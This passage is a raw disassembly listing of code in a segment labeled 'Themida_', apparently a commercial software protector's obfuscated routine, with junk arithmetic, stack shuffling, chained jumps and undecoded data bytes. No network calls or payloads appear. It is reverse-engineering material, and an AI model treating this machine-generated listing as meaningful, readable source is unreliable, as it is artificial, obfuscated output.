		dd 0C3F6815Ah, 297DDF22h, 0E1815EF1h, 9FF28A2h,	8102E1C1h
		dd 177D7CE9h, 89F1817Bh, 812F0843h, 34E689F1h, 59CB0184h
		dd 6DC368h, 243C8900h, 2BFh, 8BFB0100h,	0C481243Ch, 4
		dd 8B241C87h, 4202424h,	0B2E99C24h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549777:				; CODE XREF: Themida_:00550F5Ej
		not	bh
		sub	bh, 0ECh
		dec	bh
		push	edx
		mov	dl, 90h
		xor	bh, dl
		pop	edx
		xor	dl, bh
		pop	ebx
		xor	al, dl
		jmp	loc_549F88
; ---------------------------------------------------------------------------

loc_54978E:				; CODE XREF: Themida_:0054F1CCj
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_554EB4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 2D24248Bh, 11FB594Ah, 9248E9h
		db 0
; ---------------------------------------------------------------------------

loc_5497AD:				; CODE XREF: Themida_:0054DA5Dj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55480D
; ---------------------------------------------------------------------------
		db 64h,	0FFh, 32h
		dd 0FFF168E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5497C1:				; CODE XREF: Themida_:00553D7Cj
		shl	edi, 6
		or	edi, 4EB47A9Fh
		jb	loc_55324F
		push	eax
		mov	eax, 66053B80h
		inc	eax
		push	edx
		mov	edx, 174474E2h
		shl	edx, 7
		shl	edx, 3
		xor	edx, 259158B3h
		xor	edx, 0EE9B8F2Bh
		jmp	loc_54D53D
; ---------------------------------------------------------------------------

loc_5497F4:				; CODE XREF: Themida_:005549EEj
		shl	ebx, 1
		add	ebx, 69818673h
		jmp	loc_54DACA
; ---------------------------------------------------------------------------

loc_549801:				; CODE XREF: Themida_:00549BDCj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		push	ebp
		mov	ebp, 5FDC2394h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_54E21A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324048Bh, 0E95204C4h, 0BE60h, 4C781h, 0EF810000h, 2
		dd 5C243C87h, 241C8966h, 0EEE99FB3h, 0FFFFFFF9h, 34FF1C77h
		dd 24048B24h, 4DFCE9h
		db 0
; ---------------------------------------------------------------------------

loc_549851:				; CODE XREF: Themida_:005544FDj
		mov	esp, [esp]
		push	61E7h
		mov	[esp], edx
		push	56BBh
		mov	[esp], ecx
		push	edx
		jmp	loc_553EDD
; ---------------------------------------------------------------------------

loc_54986A:				; CODE XREF: Themida_:00550BC8j
		add	esp, 4
		pop	ebx
		jmp	loc_54A472
; ---------------------------------------------------------------------------

loc_549876:				; CODE XREF: Themida_:00551845j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_549881:				; CODE XREF: Themida_:005490ACj
		sub	edx, 2AAF604Fh
		pop	esi
		or	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	esi, 1BD10851h
		jmp	loc_549B6B
; ---------------------------------------------------------------------------

loc_54989E:				; CODE XREF: Themida_:0054CDFBj
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_5498A3:				; CODE XREF: Themida_:00549FD0j
		shl	ebp, 8
		jmp	loc_550840
; ---------------------------------------------------------------------------
		db 83h
		dd 0EDE904ECh, 1000003h, 24048BC6h, 8104C483h, 4ECh, 2B2BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5498C6:				; CODE XREF: Themida_:00554200j
		mov	esi, [esp]
		push	edx
		jmp	loc_554AF5
; ---------------------------------------------------------------------------
		db 29h
		dd 81082474h, 78082444h, 5E7F3673h, 4246C81h, 5E03189Ch
		dd 0F03FE958h, 8952FFFFh, 4C281E2h, 0E9000000h,	0FFFFF7EEh
; ---------------------------------------------------------------------------

loc_5498F8:				; CODE XREF: Themida_:0054EAC2j
		shr	esi, 1
		neg	esi
		inc	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 29D80AE3h
		inc	eax
		shr	eax, 4
		jmp	loc_551389
; ---------------------------------------------------------------------------

loc_549914:				; CODE XREF: Themida_:00549115j
		shl	edx, 1
		push	edx
		jmp	loc_553F62
; ---------------------------------------------------------------------------

loc_54991C:				; CODE XREF: Themida_:0054A54Ej
		push	edx
		mov	dl, 7Fh
		add	dl, 0E5h
		mov	bh, dl
		pop	edx
		add	bh, 6Bh
		jmp	loc_54A401
; ---------------------------------------------------------------------------

loc_54992D:				; CODE XREF: Themida_:0054DBDBj
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_54C1B6
; ---------------------------------------------------------------------------
aSSq		db 'аА',7,'И÷б',0
		align 10h

loc_549940:				; CODE XREF: Themida_:00549183j
		jmp	loc_555C32
; ---------------------------------------------------------------------------
		db 0E9h, 70h, 33h
		dd 0E7890000h, 4B951h, 0CF010000h, 18146859h, 34890000h
		dd 2BE24h, 57560000h, 63A7E9h
		db 0
; ---------------------------------------------------------------------------

loc_549969:				; CODE XREF: Themida_:00549DC9j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_54E399
; ---------------------------------------------------------------------------
		dd 6A0868h, 240C8900h, 0ED3A08B9h, 0E5BE5644h, 572FED27h
		dd 29BBE9h
		db 0
; ---------------------------------------------------------------------------

loc_549999:				; CODE XREF: Themida_:0054E810j
		pop	esp
		mov	[esp], ebx
		push	23947A26h
		mov	ebx, [esp]
		add	esp, 4
		not	ebx
		sub	ebx, 0DC6B85D7h
		mov	eax, ebx
		pop	ebx
		add	esi, 46913D84h
		add	esi, eax
		sub	esi, 46913D84h
		pop	eax
		jmp	loc_551FF2
; ---------------------------------------------------------------------------

loc_5499C7:				; CODE XREF: Themida_:0054DD48j
		sub	esp, 4
		jmp	loc_54C3A0
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 6AFCh
; ---------------------------------------------------------------------------

loc_5499D8:				; CODE XREF: Themida_:0055130Cj
		sub	ecx, ebp
		push	esi
		mov	esi, 286A1413h
		add	ecx, esi
		jmp	loc_54D965
; ---------------------------------------------------------------------------

loc_5499E7:				; CODE XREF: Themida_:0054DD05j
		pop	esp
		jmp	loc_554FA5
; ---------------------------------------------------------------------------
aYh		db 'Yh',27h,7,0
		dw 8900h
		dd 4E9243Ch
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5499FB:				; CODE XREF: Themida_:0054DAA0j
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 39C45073h
		jmp	loc_5547B1
; ---------------------------------------------------------------------------
		db 31h,	0DFh, 5Bh
		dd 1EF81h, 1BE90000h, 68000047h, 41Dh, 50240C89h, 0D4F6C6B4h
		dd 8B0FCCFEh, 0B63Dh, 8822F480h, 2C5258E1h
		db 0BDh, 0B5h, 5Bh
; ---------------------------------------------------------------------------

loc_549A43:				; CODE XREF: Themida_:0054A64Dj
					; Themida_:0054E70Ej
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		jmp	loc_54BA4F
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4BD5500h, 1000000h,	3C875DEFh, 0EE055C24h
		dd 137113Bh, 3BEE2DD8h,	0B92D3711h, 680B0F34h, 3266h, 0E9243C89h
		dd 0B270h
; ---------------------------------------------------------------------------

loc_549A80:				; CODE XREF: Themida_:005496AFj
		sub	edx, edi
		pop	edi
		add	edx, edi
		add	edx, 20C7E4Dh
		xor	[edx], ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ecx, [edi+24h]
		push	eax
		mov	eax, 24h
		jmp	loc_552CB1
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0E189515Ch, 4C181h, 0E9810000h, 4, 5C240C87h, 0E9240489h
		dd 50B4h
; ---------------------------------------------------------------------------

loc_549AC4:				; CODE XREF: Themida_:0054D974j
		pop	ecx
		add	esp, 4
		push	4482h
		mov	[esp], ecx
		jmp	loc_54B4EF
; ---------------------------------------------------------------------------

loc_549AD5:				; CODE XREF: Themida_:00553DFDj
		pop	esi
		jmp	loc_54CE26
; ---------------------------------------------------------------------------

loc_549ADB:				; CODE XREF: Themida_:loc_55160Ej
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4C4E3AD7h
		shl	ebp, 5
		shr	ebp, 3
		push	2343h
		mov	[esp], esi
		jmp	loc_548999
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 2C3815Ah, 87000000h,	0D25C241Ch, 0E99C2404h,	0FFFFEE19h
; ---------------------------------------------------------------------------

loc_549B10:				; CODE XREF: Themida_:0054AADEj
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_550AB7
; ---------------------------------------------------------------------------

loc_549B2A:				; CODE XREF: Themida_:00554AA3j
		mov	ebx, esp
		jmp	loc_54E9DE
; ---------------------------------------------------------------------------

loc_549B31:				; CODE XREF: Themida_:0054CB8Ej
		mov	[esp], ebx
		mov	ebx, 61357F43h
		xor	ebx, 299E137Eh
		jmp	loc_54AB5B
; ---------------------------------------------------------------------------

loc_549B44:				; CODE XREF: Themida_:00550403j
		push	esi
		jmp	loc_550E83
; ---------------------------------------------------------------------------

loc_549B4A:				; CODE XREF: Themida_:00550A35j
		not	ah
		xor	ah, 16h
		xor	bh, ah
		pop	eax
		mov	cl, bh
		pop	ebx
		or	dl, cl
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_54B9EF
; ---------------------------------------------------------------------------
aLSH		db '▀$$И|H',0
		db 0
; ---------------------------------------------------------------------------

loc_549B6B:				; CODE XREF: Themida_:00549899j
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_549B80:				; CODE XREF: Themida_:005495EDj
		shl	esi, 2
		jmp	loc_54E60D
; ---------------------------------------------------------------------------
		dd 4C20B850h, 66BA7FD9h, 1CB49D5h, 0C28158C2h, 0B4DCDE7Ch
		dd 335AD001h, 4312404h,	8D2AE924h, 0EB810000h, 288B8E6h
		dd 47D9E9h, 59E82800h, 432F68h,	240C8900h, 9C0E9h, 4EC8100h
		dd 89000000h, 0E953240Ch, 95F3h
; ---------------------------------------------------------------------------

loc_549BD4:				; CODE XREF: Themida_:loc_54A025j
		not	esi
		xor	esi, 0C96CFA49h
		jmp	loc_549801
; ---------------------------------------------------------------------------

loc_549BE1:				; CODE XREF: Themida_:loc_54F7E1j
		shl	ecx, 8
		jp	loc_5494B2
		and	ecx, 3D4D7F05h
		add	ecx, 0D6F7D404h

loc_549BF6:				; CODE XREF: Themida_:00551117j
		pop	edx
		sub	ebx, ebp
		pop	ebp
		jmp	loc_555F3A
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 0D3E9E389h,	51000035h, 0C888F988h
		dd 0B7535B59h, 0BBA0E93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549C1E:				; CODE XREF: Themida_:0054C4DEj
		pop	ebx
		xor	al, dl
		mov	edx, [esp]
		jmp	loc_54B430
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 0Eh
		dd 0ED80C5FEh, 5F18E9A4h, 2C8B0000h, 4C48124h, 81000000h
		dd 365FB6C5h, 0CF8E0F10h, 8100004Ah, 1EDh, 14F75500h, 0F5815D24h
		dd 8CC29899h, 0E95DEB89h, 69CEh, 207F83ADh, 3A840F00h
		dd 83FFFFFEh, 2C8904ECh, 4EC8124h, 0E9000000h, 8593h
; ---------------------------------------------------------------------------

loc_549C80:				; CODE XREF: Themida_:0054E761j
		push	dword ptr [esp+4]
		jmp	loc_54BF4B
; ---------------------------------------------------------------------------

loc_549C89:				; CODE XREF: Themida_:00549341j
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		dec	ebp
		jnp	loc_550D89
		push	eax
		mov	eax, 0CFDDC4F9h
		jmp	loc_551926
; ---------------------------------------------------------------------------
		dd 52241C89h, 5CE943B6h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549CAB:				; CODE XREF: Themida_:00552B70j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_54DCC4
; ---------------------------------------------------------------------------

loc_549CB8:				; CODE XREF: Themida_:0054C620j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_54A568
; ---------------------------------------------------------------------------

loc_549CC3:				; CODE XREF: Themida_:0054ECBCj
		pop	ebx
		shl	esi, 7
		shl	esi, 4
		jmp	loc_54F6C4
; ---------------------------------------------------------------------------

loc_549CCF:				; CODE XREF: Themida_:00550EFEj
		add	bl, 72h
		jb	loc_54E1A7
		sub	bl, 6Bh
		push	ecx
		mov	ch, bl
		mov	dl, ch
		mov	ecx, [esp]
		and	al, 0A2h

loc_549CE5:				; CODE XREF: Themida_:00552990j
		push	3290h
		mov	[esp], ecx
		mov	ecx, 7AC51177h
		push	21D8h
		mov	[esp], ebp
		mov	ebp, 69B212D6h
		push	ebp
		mov	ebp, 7B0161E4h
		mov	eax, 9F7645AAh
		xor	eax, ebp
		pop	ebp
		sub	eax, ebp
		pop	ebp
		jmp	loc_551033
; ---------------------------------------------------------------------------

loc_549D15:				; CODE XREF: Themida_:0054BD33j
		pop	esp
		mov	cx, [esp]
		jmp	loc_54A515
; ---------------------------------------------------------------------------
		db 0FFh
		dd 4813C77h, 0B6308824h
		db 4Eh,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		push	edi
		jmp	loc_5531AD
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4590242Ch, 13E9540Ah
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549D47:				; CODE XREF: Themida_:00548FF4j
		mov	eax, 6FFB3E61h
		mov	ebx, 0AA63B18Dh
		sub	ebx, eax
		pop	eax
		xor	ebx, 1173F6C6h
		jmp	loc_54C415
; ---------------------------------------------------------------------------
		db 81h
		dd 0CDC095C7h, 40F78112h, 0E9769506h, 13E1h
; ---------------------------------------------------------------------------

loc_549D70:				; CODE XREF: Themida_:005549CAj
		pop	esp
		jmp	loc_54EE6C
; ---------------------------------------------------------------------------
aPsszj		db 'PSИZ├',0
		db 0
; ---------------------------------------------------------------------------

loc_549D7D:				; CODE XREF: Themida_:loc_549042j
		sub	edx, 96BE99DDh
		sub	esi, 4E2C37DFh
		jmp	loc_550CBE
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 81000000h, 0C75DFDC6h, 81CE0134h, 0C75DFDEEh, 8CE95934h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549DA7:				; CODE XREF: Themida_:0054A9CAj
		push	edx
		push	esi
		push	47E91AFDh
		pop	esi
		shr	esi, 1
		jp	loc_54EC53
		neg	esi
		xor	esi, 0F3D70F39h
		mov	edx, esi
		pop	esi
		dec	edx
		pop	esp

loc_549DC4:				; CODE XREF: Themida_:00550DCDj
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_549969
; ---------------------------------------------------------------------------

loc_549DCE:				; CODE XREF: Themida_:0054917Cj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54B059
; ---------------------------------------------------------------------------

loc_549DD8:				; CODE XREF: Themida_:0054F503j
		xor	ecx, 185085B4h
		mov	edx, ecx
		mov	ecx, [esp]
		jmp	loc_55413D
; ---------------------------------------------------------------------------

loc_549DE8:				; CODE XREF: Themida_:00555ED5j
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 2
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_54A30B
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 81h
		dd 18B62ECh, 0A237E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549E12:				; CODE XREF: Themida_:0054A5D2j
		sub	ecx, 47C12321h
		push	ecx
		sub	dword ptr [esp], 0DBB5285h
		jmp	loc_54F5FC
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 68C8BE0Fh, 1F5Fh, 0E9240C89h, 3974h
; ---------------------------------------------------------------------------

loc_549E38:				; CODE XREF: Themida_:0054D7E1j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		movzx	cx, al
		push	small 4582h
		mov	[esp], cx
		jmp	loc_554604
; ---------------------------------------------------------------------------
		db 68h
		dd 6965h, 7833E9h, 0B0EB8100h, 0E923B3E4h, 4DC7h, 0E981D901h
		dd 600259B5h, 0E951575Bh, 70DFh, 24048B66h, 70BF68h, 241C8900h
		dd 0BE68E389h, 0E9000006h, 4AC7h, 729CB951h, 0CB290576h
		dd 0DEFE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549EAA:				; CODE XREF: Themida_:00549203j
		add	ebx, 3B342EF7h
		pop	ebp
		jmp	loc_5549ED
; ---------------------------------------------------------------------------
		dw 0EA00h
		dd 6659E9h
		db 0
; ---------------------------------------------------------------------------

loc_549EBD:				; CODE XREF: Themida_:00552009j
		pop	ebx
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 43C81C08h
		add	ebx, edi
		pop	edi
		jmp	loc_54CC61
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFEA55h
; ---------------------------------------------------------------------------

loc_549ED4:				; CODE XREF: Themida_:0054D4E5j
		or	eax, eax
		jmp	loc_54D208
; ---------------------------------------------------------------------------
		db 68h
		dd 22E8h, 0B5240C89h, 0B700E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549EEA:				; CODE XREF: Themida_:00550AF8j
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_549EEF:				; CODE XREF: Themida_:0055091Ej
		xor	eax, [esp]
		jmp	loc_555C63
; ---------------------------------------------------------------------------

loc_549EF7:				; CODE XREF: Themida_:00552344j
		shl	eax, 7
		jmp	loc_5506D3
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 19BCh, 0E9240489h, 1458h
; ---------------------------------------------------------------------------

loc_549F10:				; CODE XREF: Themida_:0055504Cj
		push	1E8Ah
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_548C78
; ---------------------------------------------------------------------------

loc_549F37:				; CODE XREF: Themida_:005517D8j
		add	bl, 14h
		push	ecx
		jmp	loc_550643
; ---------------------------------------------------------------------------
		dd 8007E4C0h, 45E917C4h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549F4B:				; CODE XREF: Themida_:loc_54B84Aj
		jmp	loc_550435
; ---------------------------------------------------------------------------

loc_549F50:				; CODE XREF: Themida_:0054B691j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		mov	edi, 254613FDh
		jmp	loc_550505
; ---------------------------------------------------------------------------

loc_549F62:				; CODE XREF: Themida_:00549260j
					; Themida_:0054B0BEj ...
		pop	edx
		pop	eax
		push	eax
		push	edi
		pop	eax
		pop	edi
		not	edi
		xchg	eax, edi
		jmp	loc_548F80
; ---------------------------------------------------------------------------

loc_549F70:				; CODE XREF: Themida_:00553804j
		pop	ebp
		jmp	loc_5513C7
; ---------------------------------------------------------------------------
		dd offset dword_5C2E68
		dw 8900h
		dd 72BA2414h, 0E965A208h, 67Ch
; ---------------------------------------------------------------------------

loc_549F88:				; CODE XREF: Themida_:00549789j
		pop	edx
		shl	al, 6
		inc	al
		and	al, 5Ah
		push	ax
		not	byte ptr [esp]
		jmp	loc_55439F
; ---------------------------------------------------------------------------

loc_549F9A:				; CODE XREF: Themida_:0054EB4Fj
		push	27E5h
		mov	[esp], ebx
		push	eax
		jmp	loc_54CC68
; ---------------------------------------------------------------------------

loc_549FA8:				; CODE XREF: Themida_:005537EEj
		push	edx
		mov	edx, 177752C1h
		add	esi, edx
		pop	edx
		add	esi, ebx
		jmp	loc_550F7A
; ---------------------------------------------------------------------------

loc_549FB8:				; CODE XREF: Themida_:00555091j
		and	ebp, 2F9A5757h
		jle	loc_551D83
		and	ebp, 78106289h
		jp	loc_551208
		jmp	loc_5498A3
; ---------------------------------------------------------------------------
aPs_0		db 'PИи/',0
		db 0
; ---------------------------------------------------------------------------

loc_549FDB:				; CODE XREF: Themida_:00555F21j
		shl	edx, 4
		jmp	loc_54F49E
; ---------------------------------------------------------------------------

loc_549FE3:				; CODE XREF: Themida_:00551B4Ej
		pop	eax
		shl	ebp, 8
		jmp	loc_54CA53
; ---------------------------------------------------------------------------

loc_549FEC:				; CODE XREF: Themida_:0054A2ABj
		pop	ecx
		jmp	loc_552BB8
; ---------------------------------------------------------------------------

loc_549FF2:				; CODE XREF: Themida_:00550C2Cj
		mov	ebp, [esp]
		jmp	loc_549566
; ---------------------------------------------------------------------------
		dw 2AE9h
		dd 29FFFFE9h, 60EB68D8h, 0A7E90000h, 0FF000055h, 34FF2434h
		dd 2434FF24h, 0A404E9h,	28F52C00h, 52F504D8h, 0FFEC18E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A025:				; CODE XREF: Themida_:0054D010j
		jmp	loc_549BD4
; ---------------------------------------------------------------------------

loc_54A02A:				; CODE XREF: Themida_:0054C148j
		add	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, ebx
		push	eax
		mov	eax, edi
		push	ebx
		mov	ebx, eax
		mov	ecx, ebx
		pop	ebx
		pop	eax
		pop	edi
		pop	ebx
		jmp	loc_54BA39
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0D5h
		dd 89FDFEF9h, 0FB015EF7h, 83243C8Bh, 1C8704C4h,	24248B24h
		dd 243CD366h, 0E8C7E99Ch, 0F581FFFFh, 0F771E656h, 0E95DE989h
		dd 0FFFFF962h, 0F758C529h, 6EDC1D5h, 74EA840Fh,	0EE90000h
		dd 2800006Fh, 0FE51E9D8h, 34FFFFFFh, 24048B24h,	3A0A68h
		dd 24348900h, 24348B54h, 1ED8E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A0A1:				; CODE XREF: Themida_:0055158Dj
		sub	edx, 379759Eh
		xor	ecx, edx
		jmp	loc_55132C
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C7h, 243C3300h, 33243C31h, 6BE9243Ch
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A0C3:				; CODE XREF: Themida_:005503F3j
		pop	bx
		sub	dh, 62h
		shl	dh, 6
		and	dh, 0BFh
		or	dh, 51h
		jmp	loc_554052
; ---------------------------------------------------------------------------

loc_54A0D6:				; CODE XREF: Themida_:00550CD1j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_551876
; ---------------------------------------------------------------------------

loc_54A0E3:				; CODE XREF: Themida_:005558A8j
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_550BF0
; ---------------------------------------------------------------------------

loc_54A0F7:				; CODE XREF: Themida_:00553C20j
		push	ax
		mov	ah, 5Dh
		or	dh, ah
		mov	ax, [esp]
		jmp	loc_553EEF
; ---------------------------------------------------------------------------

loc_54A106:				; CODE XREF: Themida_:00555D0Fj
		push	dword ptr [esp+4]
		jmp	loc_54CF51
; ---------------------------------------------------------------------------

loc_54A10F:				; CODE XREF: Themida_:00555DD8j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_54C874
; ---------------------------------------------------------------------------

loc_54A12A:				; CODE XREF: Themida_:0054B2F2j
		pop	edi
		and	edx, edi
		jmp	loc_550B47
; ---------------------------------------------------------------------------

loc_54A132:				; CODE XREF: Themida_:0055352Ej
		add	bh, cl
		sub	bh, 0BAh
		jmp	loc_54AFB2
; ---------------------------------------------------------------------------

loc_54A13C:				; CODE XREF: Themida_:00551E8Dj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2Ch
		jmp	loc_54A553
; ---------------------------------------------------------------------------

loc_54A14D:				; CODE XREF: Themida_:005492E2j
		mov	[esp], esi
		push	ebx
		jmp	loc_54CA17
; ---------------------------------------------------------------------------

loc_54A156:				; CODE XREF: Themida_:0054BF86j
		add	si, 0B94Ah
		push	small 0
		jmp	loc_54A76A
; ---------------------------------------------------------------------------
		dd 2B850h, 0C3010000h, 241C8758h, 0FFF9EEE9h, 0C8B66FFh
		dd 0E2895224h, 4C281h, 0EA830000h, 0B7C0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A18A:				; CODE XREF: Themida_:0054F6CEj
		dec	edx
		xor	edx, 696D1556h
		add	esi, edx
		pop	edx
		jmp	loc_550D5F
; ---------------------------------------------------------------------------

loc_54A199:				; CODE XREF: Themida_:005520E5j
		push	eax
		jmp	loc_550807
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 2B72BF24h, 80B955FDh, 29D14E3Eh, 0C9815FF9h
		dd 0CE77F8h, 0E48E181h,	0E1811371h, 496464FCh, 0FFE81CE9h
		dd 242489FFh, 4240481h,	0E9000000h, 6BDCh, 8957D828h, 0F646E9E7h
		dd 8B66FFFFh, 2668240Ch, 0E900007Ch, 0ADC5h
; ---------------------------------------------------------------------------

loc_54A1F0:				; CODE XREF: Themida_:00554D37j
		push	ecx
		mov	ecx, 6FF177DEh
		add	edx, ecx
		pop	ecx
		add	edx, edi
		sub	edx, 6FF177DEh
		push	ecx
		mov	ecx, 25D47258h
		add	edx, ecx
		pop	ecx
		pop	edi
		jmp	loc_54ED06
; ---------------------------------------------------------------------------
aRiS		db 'R┬ЙИ╫',0Dh,0
		align 4
		dd 81E18951h, 4C1h, 0E9BD5500h,	81722846h, 0A8DFB6C5h
		dd 5D33E9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A232:				; CODE XREF: Themida_:0054FC37j
		xor	[esp], eax
		jmp	loc_552943
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 39D3FFD9h, 3C8BF801h, 0E7895724h, 646BBB53h,	814B2200h
		dd 6A23FFCBh, 26DCE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A25A:				; CODE XREF: Themida_:0054F587j
		pop	bx
		jmp	loc_5535E2
; ---------------------------------------------------------------------------

loc_54A261:				; CODE XREF: Themida_:005511ECj
		push	edx
		jmp	loc_54D7B1
; ---------------------------------------------------------------------------
		db 81h
		dd 0D132404h, 4815A72h,	8F085B24h, 24042963h, 85BBB53h
		dd 5C29638Fh, 17E90424h, 81000041h, 4C5h, 242C3300h, 33242C31h
		dd 2AE9242Ch
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A29B:				; CODE XREF: Themida_:0054A6D2j
		mov	[esp], eax
		mov	eax, 10h
		push	eax
		add	dword ptr [esp], 51CF15C8h
		jmp	loc_549FEC
; ---------------------------------------------------------------------------

loc_54A2B0:				; CODE XREF: Themida_:0054F8E9j
		pop	edx
		pop	ecx
		add	edi, 42F475D2h
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 0E4F6784h
		sub	ebx, 0E4F6780h
		sub	edx, ebx
		jmp	loc_5491C6
; ---------------------------------------------------------------------------
		db 0BDh, 54h, 72h
		dd 0ED8140B8h, 352C4C37h, 997A8A0Fh, 0C5810000h, 74E776F7h
		dd 0A04890Fh, 0FC880000h
; ---------------------------------------------------------------------------

loc_54A300:				; CODE XREF: Themida_:0054C23Aj
		add	esp, 4
		jmp	loc_555ED4
; ---------------------------------------------------------------------------

loc_54A30B:				; CODE XREF: Themida_:00549E00j
		mov	esi, [esp]
		jmp	loc_54A83E
; ---------------------------------------------------------------------------

loc_54A313:				; CODE XREF: Themida_:0054D8E1j
		add	edi, 7968167Ch
		push	ebp
		mov	ebp, 0DF0C71DBh
		sub	edi, ebp
		pop	ebp
		sub	eax, 2986199h
		add	eax, edi
		jmp	loc_54BD4B
; ---------------------------------------------------------------------------

loc_54A32E:				; CODE XREF: Themida_:0054C31Bj
		test	cx, ax
		pushf
		jmp	loc_54E624
; ---------------------------------------------------------------------------

loc_54A337:				; CODE XREF: Themida_:005545FFj
		mov	esi, eax
		mov	ebp, esi
		pop	esi
		pop	eax
		jmp	loc_551446
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 1000000h, 0B4AFE9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A34E:				; CODE XREF: Themida_:00551B41j
		mov	[esp], eax
		push	ecx
		jmp	loc_54D8ED
; ---------------------------------------------------------------------------

loc_54A357:				; CODE XREF: Themida_:0054D893j
		xor	ebx, 547CBE4Bh
		mov	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	edx, ebx
		pop	ebx
		xor	edx, 4ACC4144h
		push	esi
		mov	esi, 63EF15B5h
		inc	esi
		push	edx
		jmp	loc_5521FE
; ---------------------------------------------------------------------------

loc_54A37C:				; CODE XREF: Themida_:005514C5j
		or	dh, 90h
		inc	dh
		sub	dh, 59h
		add	al, dh
		mov	edx, [esp]
		add	esp, 4
		dec	al
		js	loc_54ACAA
		add	al, 22h
		mov	dl, al
		pop	eax
